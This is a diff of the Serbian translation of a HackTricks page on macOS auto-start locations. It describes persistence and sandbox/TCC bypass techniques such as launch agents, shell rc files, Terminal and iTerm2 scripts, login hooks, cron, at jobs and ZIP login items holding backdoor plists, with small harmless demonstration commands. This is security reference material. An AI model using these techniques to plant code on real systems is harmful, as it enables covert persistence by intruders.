Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,12 +14,12 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
Ova sekcija je temeljena na blog seriji [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), cilj je dodati **više lokacija automatskog pokretanja** (ukoliko je moguće), naznačiti **koje tehnike još uvek funkcionišu** danas sa najnovijom verzijom macOS-a (13.4) i specificirati **potrebne dozvole**.
|
||||
Ova sekcija je temeljena na blog seriji [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), cilj je dodati **više lokacija za automatsko pokretanje** (ukoliko je moguće), naznačiti **koje tehnike još uvek funkcionišu** danas sa najnovijom verzijom macOS-a (13.4) i specificirati **potrebne dozvole**.
|
||||
|
||||
## Bypassovanje Peska
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći lokacije pokretanja korisne za **bypassovanje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u fajl** i **sačekate** za vrlo **uobičajenu** **akciju**, određeno **vreme** ili akciju koju obično možete izvršiti iz peska bez potrebe za root dozvolama.
|
||||
Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u fajl** i **sačekate** za vrlo **uobičajenu** **akciju**, određeno **vreme** ili **akciju koju obično možete izvršiti** iz peska bez potrebe za root dozvolama.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -30,16 +30,16 @@ Ovde možete pronaći lokacije pokretanja korisne za **bypassovanje peska** koje
|
|||
#### Lokacije
|
||||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **Okidač**: Restart
|
||||
* **Okidač**: Restartovanje
|
||||
* Potrebno root pristup
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **Okidač**: Restart
|
||||
* **Okidač**: Restartovanje
|
||||
* Potrebno root pristup
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **Okidač**: Restart
|
||||
* **Okidač**: Restartovanje
|
||||
* Potrebno root pristup
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **Okidač**: Restart
|
||||
* **Okidač**: Restartovanje
|
||||
* Potrebno root pristup
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **Okidač**: Ponovno prijavljivanje
|
||||
|
@ -48,7 +48,7 @@ Ovde možete pronaći lokacije pokretanja korisne za **bypassovanje peska** koje
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
**`launchd`** je **prvi** **proces** koji se izvršava od strane OX S kernela pri pokretanju i poslednji koji se završava pri gašenju. Uvek bi trebao imati **PID 1**. Ovaj proces će **čitati i izvršavati** konfiguracije naznačene u **ASEP** **plistama** u:
|
||||
**`launchd`** je **prvi** **proces** koji se izvršava od strane OX S kernela pri pokretanju i poslednji koji se završava pri gašenju. Uvek bi trebao imati **PID 1**. Ovaj proces će **čitati i izvršavati** konfiguracije naznačene u **ASEP** **plistovima** u:
|
||||
|
||||
* `/Library/LaunchAgents`: Agensi instalirani po korisniku od strane administratora
|
||||
* `/Library/LaunchDaemons`: Demoni na nivou sistema instalirani od strane administratora
|
||||
|
@ -80,16 +80,16 @@ Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgent
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje tehnologije pomoći pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (vidi [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer).
|
||||
Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje pomoćne tehnologije pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (videti [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer).
|
||||
|
||||
{% hint style="info" %}
|
||||
Konfiguracioni fajlovi novih demona ili agenata će biti **učitani nakon sledećeg restarta ili korišćenjem** `launchctl load <target.plist>` Takođe je **moguće učitati .plist fajlove bez te ekstenzije** sa `launchctl -F <file>` (međutim, ti plist fajlovi neće biti automatski učitani nakon restarta).\
|
||||
Takođe je moguće **isključiti** ih sa `launchctl unload <target.plist>` (proces na koji pokazuju će biti završen),
|
||||
Konfiguracioni fajlovi novih Daemona ili Agenta će biti **učitani nakon sledećeg restarta ili korišćenjem** `launchctl load <target.plist>` Takođe je **moguće učitati .plist fajlove bez te ekstenzije** sa `launchctl -F <file>` (međutim, ti plist fajlovi neće biti automatski učitani nakon restarta).\
|
||||
Takođe je moguće **isključiti** ih sa `launchctl unload <target.plist>` (proces na koji pokazuje će biti završen).
|
||||
|
||||
Da **osigurate** da ne postoji **ništa** (kao zamena) **koja sprečava** **Agenta** ili **Demona** **da se pokrene** pokrenite: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
Da **osigurate** da ne postoji **ništa** (kao što je prekoračenje) **koje sprečava** **Agent** ili **Daemona** **da se pokrene**, pokrenite: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
Izlistaj sve agente i demone učitane od strane trenutnog korisnika:
|
||||
Izlistajte sve agente i daemone učitane od strane trenutnog korisnika:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
|
@ -99,11 +99,11 @@ Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim fascikla
|
|||
|
||||
### fajlovi za pokretanje ljuske
|
||||
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
Objašnjenje (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC Zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC Bypass: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali morate pronaći aplikaciju sa TCC zaobilaženjem koja izvršava ljusku koja učitava ove fajlove
|
||||
|
||||
#### Lokacije
|
||||
|
@ -130,7 +130,7 @@ Objašnjenje (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https:
|
|||
|
||||
Prilikom pokretanja okruženja ljuske kao što su `zsh` ili `bash`, **određeni fajlovi za pokretanje se izvršavaju**. macOS trenutno koristi `/bin/zsh` kao podrazumevanu ljusku. Ova ljuska se automatski pristupa kada se pokrene aplikacija Terminal ili kada se uređaj pristupa putem SSH. Iako su `bash` i `sh` takođe prisutni u macOS-u, moraju se eksplicitno pozvati da bi se koristili.
|
||||
|
||||
Stranica za pomoć za zsh, koju možemo pročitati sa **`man zsh`**, ima dugačak opis fajlova za pokretanje.
|
||||
Man stranica za zsh, koju možemo pročitati sa **`man zsh`**, ima dugačak opis fajlova za pokretanje.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### Ponovno otvorene aplikacije
|
||||
|
||||
{% hint style="danger" %}
|
||||
Konfigurisanje naznačene eksploatacije i odjavljivanje i ponovno prijavljivanje ili čak ponovno pokretanje nisu radili za mene da izvršim aplikaciju. (Aplikacija nije bila pokrenuta, možda treba da se pokreće kada se ove radnje izvrše)
|
||||
Konfigurisanje naznačenog iskorišćavanja i odjavljivanje i ponovno prijavljivanje ili čak ponovno pokretanje nisu radili za mene da izvršim aplikaciju. (Aplikacija nije bila pokrenuta, možda treba da se pokreće kada se ove radnje izvrše)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -151,7 +151,7 @@ Konfigurisanje naznačene eksploatacije i odjavljivanje i ponovno prijavljivanje
|
|||
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
||||
* **Okidač**: Ponovno pokretanje otvorenih aplikacija
|
||||
|
||||
#### Opis & Eksploatacija
|
||||
#### Opis i Iskorišćavanje
|
||||
|
||||
Sve aplikacije za ponovno otvaranje nalaze se unutar plist datoteke `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
|
||||
|
@ -175,7 +175,7 @@ Da **dodate aplikaciju na ovu listu** možete koristiti:
|
|||
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
|
||||
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
||||
```
|
||||
### Podešavanja Terminala
|
||||
### Postavke Terminala
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
|
@ -188,13 +188,13 @@ Da **dodate aplikaciju na ovu listu** možete koristiti:
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
U **`~/Library/Preferences`** se čuvaju podešavanja korisnika u Aplikacijama. Neke od ovih postavki mogu sadržati konfiguraciju za **izvršavanje drugih aplikacija/skripti**.
|
||||
U **`~/Library/Preferences`** se čuvaju postavke korisnika u Aplikacijama. Neke od ovih postavki mogu sadržati konfiguraciju za **izvršavanje drugih aplikacija/skripti**.
|
||||
|
||||
Na primer, Terminal može izvršiti komandu pri pokretanju:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
|
||||
Ovo podešavanje se odražava u datoteci **`~/Library/Preferences/com.apple.Terminal.plist`** ovako:
|
||||
Ova konfiguracija se odražava u datoteci **`~/Library/Preferences/com.apple.Terminal.plist`** ovako:
|
||||
```bash
|
||||
[...]
|
||||
"Window Settings" => {
|
||||
|
@ -210,7 +210,7 @@ Ovo podešavanje se odražava u datoteci **`~/Library/Preferences/com.apple.Term
|
|||
}
|
||||
[...]
|
||||
```
|
||||
Dakle, ako se plist datoteka postavki terminala u sistemu može prepisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**.
|
||||
Dakle, ako se plist datoteka postavki terminala u sistemu može prebrisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**.
|
||||
|
||||
To možete dodati sa komandne linije pomoću:
|
||||
|
||||
|
@ -240,7 +240,7 @@ To možete dodati sa komandne linije pomoću:
|
|||
|
||||
Ako kreirate [**`.terminal`** skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) i otvorite ga, **Terminal aplikacija** će automatski biti pozvana da izvrši komande navedene unutra. Ako Terminal aplikacija ima neke posebne privilegije (kao što su TCC), vaša komanda će biti izvršena sa tim posebnim privilegijama.
|
||||
|
||||
Pokušajte sa:
|
||||
Probajte sa:
|
||||
```bash
|
||||
# Prepare the payload
|
||||
cat > /tmp/test.terminal << EOF
|
||||
|
@ -275,21 +275,21 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Možda ćete dobiti dodatni pristup TCC-u
|
||||
* Možda ćete dobiti dodatni TCC pristup
|
||||
|
||||
#### Lokacija
|
||||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* Potreban je root pristup
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod ili računara
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* Potreban je root pristup
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod ili računara
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod ili računara
|
||||
* **`/System/Library/Components`**
|
||||
* Potreban je root pristup
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod-a ili računara
|
||||
* **Okidač**: Ponovno pokretanje coreaudiod ili računara
|
||||
|
||||
#### Opis
|
||||
|
||||
|
@ -301,7 +301,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Možda ćete dobiti dodatni pristup TCC-u
|
||||
* Možda ćete dobiti dodatni TCC pristup
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -313,14 +313,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
QuickLook dodaci mogu se izvršiti kada **pokrenete pregled datoteke** (pritisnite taster razmaka dok je datoteka označena u Finderu) i instaliran je **dodatak koji podržava taj tip datoteke**.
|
||||
QuickLook dodaci mogu se izvršiti kada **pokrenete pregled datoteke** (pritisnite taster razmaka dok je datoteka izabrana u Finderu) i instaliran je **dodatak koji podržava taj tip datoteke**.
|
||||
|
||||
Moguće je kompajlirati svoj QuickLook dodatak, smestiti ga na jedno od prethodnih mesta kako bi se učitao, a zatim otići do podržane datoteke i pritisnuti razmak kako biste ga pokrenuli.
|
||||
Moguće je kompajlirati svoj QuickLook dodatak, postaviti ga na jednoj od prethodnih lokacija da ga učitate, a zatim otići do podržane datoteke i pritisnuti razmak da ga pokrenete.
|
||||
|
||||
### ~~Login/Logout Hooks~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ovo nije radilo za mene, ni sa korisničkim LoginHook-om ni sa root LogoutHook-om
|
||||
Ovo nije radilo za mene, ni sa korisničkim LoginHook ni sa root LogoutHook
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
@ -333,7 +333,7 @@ Ovo nije radilo za mene, ni sa korisničkim LoginHook-om ni sa root LogoutHook-o
|
|||
* Morate biti u mogućnosti da izvršite nešto poput `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* `Lo`ciran u `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
Oni su zastareli, ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
|
||||
Oni su zastareli ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -343,7 +343,7 @@ chmod +x $HOME/hook.sh
|
|||
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
|
||||
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
|
||||
```
|
||||
Ova postavka je sačuvana u `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
|
||||
Ova postavka se čuva u `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
|
||||
```bash
|
||||
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
|
||||
{
|
||||
|
@ -365,7 +365,7 @@ Root korisnik se čuva u **`/private/var/root/Library/Preferences/com.apple.logi
|
|||
## Uslovno zaobilaženje peska
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći lokacije pokretanja korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što ćete to **upisati u datoteku** i **očekivati ne baš česte uslove** kao što su specifični **instalirani programi, "neobične" korisničke** radnje ili okruženja.
|
||||
Ovde možete pronaći lokacije za pokretanje korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u datoteku** i **očekujete ne baš česte uslove** kao što su specifični **instalirani programi, "neobične" korisničke** radnje ili okruženja.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
@ -389,9 +389,9 @@ Prikažite cron poslove **trenutnog korisnika** sa:
|
|||
```bash
|
||||
crontab -l
|
||||
```
|
||||
Možete videti sve cron poslove korisnika u **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (potreban je root).
|
||||
Možete videti sve cron poslove korisnika u **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (potrebne su administratorske privilegije).
|
||||
|
||||
Na macOS-u se mogu pronaći nekoliko foldera koji izvršavaju skripte sa **određenom učestalošću**:
|
||||
Na macOS-u se mogu pronaći različite mape koje izvršavaju skripte sa **određenom učestalošću**:
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
|
@ -431,16 +431,15 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
```markdown
|
||||
## macOS Auto Start Locations
|
||||
|
||||
### Launch Agents
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` or `/Library/LaunchAgents/`.
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
|
||||
Launch Daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
### Login Items
|
||||
|
||||
|
@ -448,8 +447,7 @@ Login Items are applications that open when a user logs in. They can be managed
|
|||
|
||||
### Startup Items
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
```
|
||||
Startup Items are legacy items that automatically launch when a system boots up. They are stored in `/Library/StartupItems/`.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -470,11 +468,11 @@ Skripta **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** će t
|
|||
```bash
|
||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||
```
|
||||
Datoteke sa postavkama iTerm2 nalaze se u **`~/Library/Preferences/com.googlecode.iterm2.plist`** i mogu **ukazivati na komandu koja će se izvršiti** prilikom otvaranja iTerm2 terminala.
|
||||
Postavke iTerm2 nalaze se u **`~/Library/Preferences/com.googlecode.iterm2.plist`** i mogu **ukazati na komandu koja će se izvršiti** kada se otvori iTerm2 terminal.
|
||||
|
||||
Ovo podešavanje može biti konfigurisano u iTerm2 postavkama:
|
||||
Ovu postavku možete konfigurisati u iTerm2 podešavanjima:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
A komanda se odražava u postavkama:
|
||||
```bash
|
||||
|
@ -517,7 +515,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevi
|
|||
#### Lokacija
|
||||
|
||||
* **`~/Library/Application\ Support/xbar/plugins/`**
|
||||
* **Okidač**: Jednom kada se xbar pokrene
|
||||
* **Okidač**: Jednom kada se xbar izvrši
|
||||
|
||||
#### Opis
|
||||
|
||||
|
@ -545,9 +543,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
#### Opis
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) služi kao platforma za automatizaciju za **macOS**, koristeći **LUA skriptni jezik** za svoje operacije. Posebno podržava integraciju potpunog AppleScript koda i izvršavanje shell skripti, značajno poboljšavajući svoje sposobnosti skriptiranja.
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) služi kao platforma za automatizaciju na **macOS-u**, koristeći **LUA skriptni jezik** za svoje operacije. Posebno podržava integraciju potpunog AppleScript koda i izvršavanje shell skripti, značajno unapređujući svoje sposobnosti skriptiranja.
|
||||
|
||||
Aplikacija traži jednu datoteku, `~/.hammerspoon/init.lua`, i kada se pokrene, skripta će biti izvršena.
|
||||
Aplikacija traži jedan fajl, `~/.hammerspoon/init.lua`, i kada se pokrene, skripta će biti izvršena.
|
||||
```bash
|
||||
mkdir -p "$HOME/.hammerspoon"
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
|
@ -556,10 +554,10 @@ EOF
|
|||
```
|
||||
### BetterTouchTool
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Korisno za zaobilaženje peska-boksa: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali BetterTouchTool mora biti instaliran
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Zahteva dozvole za automatizaciju prečica i pristupačnost
|
||||
* Zahteva dozvole za automatizaciju prečica i pristupačnosti
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -569,7 +567,7 @@ Ovaj alat omogućava označavanje aplikacija ili skripti za izvršavanje kada se
|
|||
|
||||
### Alfred
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Korisno za zaobilaženje peska-boksa: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali Alfred mora biti instaliran
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Zahteva dozvole za automatizaciju, pristupačnost i čak pristup celom disku
|
||||
|
@ -584,7 +582,7 @@ Omogućava kreiranje radnih tokova koji mogu izvršiti kod kada se ispune određ
|
|||
|
||||
Opis: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Korisno za zaobilaženje peska-boksa: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali ssh mora biti omogućen i korišćen
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH ima pristup celom disku
|
||||
|
@ -645,27 +643,27 @@ Ovi predmeti se čuvaju u datoteci **`~/Library/Application Support/com.apple.ba
|
|||
|
||||
### ZIP kao stavka za prijavljivanje
|
||||
|
||||
(Pogledajte prethodni odeljak o Stavkama za prijavljivanje, ovo je proširenje)
|
||||
(Pogledajte prethodni odeljak o stavkama za prijavljivanje, ovo je proširenje)
|
||||
|
||||
Ako sačuvate **ZIP** datoteku kao **Stavku za prijavljivanje**, **`Archive Utility`** će je otvoriti, a ako je zip na primer sačuvan u **`~/Library`** i sadrži fasciklu **`LaunchAgents/file.plist`** sa zadnjim ulazom, ta fascikla će biti kreirana (to nije podrazumevano) i plist će biti dodat tako da sledeći put kada se korisnik ponovo prijavi, **zadnji ulaz naznačen u plist-u će biti izvršen**.
|
||||
Ako sačuvate **ZIP** datoteku kao **stavku za prijavljivanje**, **`Archive Utility`** će je otvoriti, a ako je zip na primer sačuvan u **`~/Library`** i sadrži fasciklu **`LaunchAgents/file.plist`** sa zadnjim vratima, ta fascikla će biti kreirana (to nije podrazumevano) i plist će biti dodat tako da će sledeći put kada se korisnik ponovo prijavi, **zadnja vrata naznačena u plist-u će biti izvršena**.
|
||||
|
||||
Druga opcija bi bila da se kreiraju datoteke **`.bash_profile`** i **`.zshenv`** unutar korisničkog HOME-a tako da ako fascikla LaunchAgents već postoji, ova tehnika bi i dalje radila.
|
||||
Druga opcija bila bi kreiranje datoteka **`.bash_profile`** i **`.zshenv`** unutar korisničkog HOME-a tako da ako fascikla LaunchAgents već postoji, ova tehnika bi i dalje radila.
|
||||
|
||||
### At
|
||||
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali morate **izvršiti** **`at`** i mora biti **omogućeno**
|
||||
* Ali morate **izvršiti** **`at`** i on mora biti **omogućen**
|
||||
* TCC zaobilaženje: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokacija
|
||||
|
||||
* Morate **izvršiti** **`at`** i mora biti **omogućeno**
|
||||
* Morate **izvršiti** **`at`** i on mora biti **omogućen**
|
||||
|
||||
#### **Opis**
|
||||
|
||||
`at` zadaci su dizajnirani za **planiranje jednokratnih zadataka** koji će biti izvršeni u određeno vreme. Za razliku od cron poslova, `at` zadaci se automatski uklanjaju nakon izvršenja. Bitno je napomenuti da su ovi zadaci postojani nakon ponovnog pokretanja sistema, što ih čini potencijalnim sigurnosnim problemima u određenim uslovima.
|
||||
`at` zadaci su dizajnirani za **planiranje jednokratnih zadataka** koji će biti izvršeni u određeno vreme. Za razliku od cron poslova, `at` zadaci se automatski uklanjaju nakon izvršenja. Bitno je napomenuti da su ovi zadaci postojani nakon ponovnog pokretanja sistema, što ih čini potencijalnim sigurnosnim rizikom u određenim uslovima.
|
||||
|
||||
Podrazumevano su **onemogućeni**, ali **root** korisnik može **omogućiti** **njih** sa:
|
||||
```bash
|
||||
|
@ -716,7 +714,7 @@ echo 11 > /tmp/at.txt
|
|||
Ako AT zadaci nisu omogućeni, kreirani zadaci neće biti izvršeni.
|
||||
{% endhint %}
|
||||
|
||||
**Fajlovi posla** mogu se pronaći na `/private/var/at/jobs/`
|
||||
**Datoteke poslova** mogu se pronaći na `/private/var/at/jobs/`
|
||||
```
|
||||
sh-3.2# ls -l /private/var/at/jobs/
|
||||
total 32
|
||||
|
@ -725,13 +723,13 @@ total 32
|
|||
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
||||
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
||||
```
|
||||
Fajl sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, pogledajmo `a0001a019bdcd2`.
|
||||
Naziv datoteke sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, pogledajmo `a0001a019bdcd2`.
|
||||
|
||||
* `a` - ovo je red
|
||||
* `0001a` - broj posla u heksadecimalnom formatu, `0x1a = 26`
|
||||
* `019bdcd2` - vreme u heksadecimalnom formatu. Predstavlja minute koje su prošle od epohe. `0x019bdcd2` je `26991826` u decimalnom formatu. Ako ga pomnožimo sa 60 dobijamo `1619509560`, što je `GMT: 2021. April 27., utorak 7:46:00`.
|
||||
|
||||
Ako odštampamo fajl posla, otkrivamo da sadrži iste informacije koje smo dobili koristeći `at -c`.
|
||||
Ako odštampamo datoteku posla, otkrivamo da sadrži iste informacije koje smo dobili koristeći `at -c`.
|
||||
|
||||
### Akcije fascikle
|
||||
|
||||
|
@ -741,7 +739,7 @@ Analiza: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali morate moći da pozovete `osascript` sa argumentima da biste kontaktirali **`System Events`** kako biste mogli konfigurisati Akcije fascikle
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ima neka osnovna TCC odobrenja poput Desktopa, Dokumenata i Preuzimanja
|
||||
* Ima neka osnovna TCC odobrenja poput Desktop, Documents i Downloads
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -758,7 +756,7 @@ Akcije fascikle su skripte koje se automatski pokreću promenama u fascikli popu
|
|||
Za postavljanje Akcija fascikle, imate opcije kao što su:
|
||||
|
||||
1. Kreiranje radnog toka Akcije fascikle sa [Automatorom](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servis.
|
||||
2. Ručno povezivanje skripte putem Postavke Akcija fascikle u kontekst meniju fascikle.
|
||||
2. Povezivanje skripte ručno putem Postavke Akcija fascikle u kontekst meniju fascikle.
|
||||
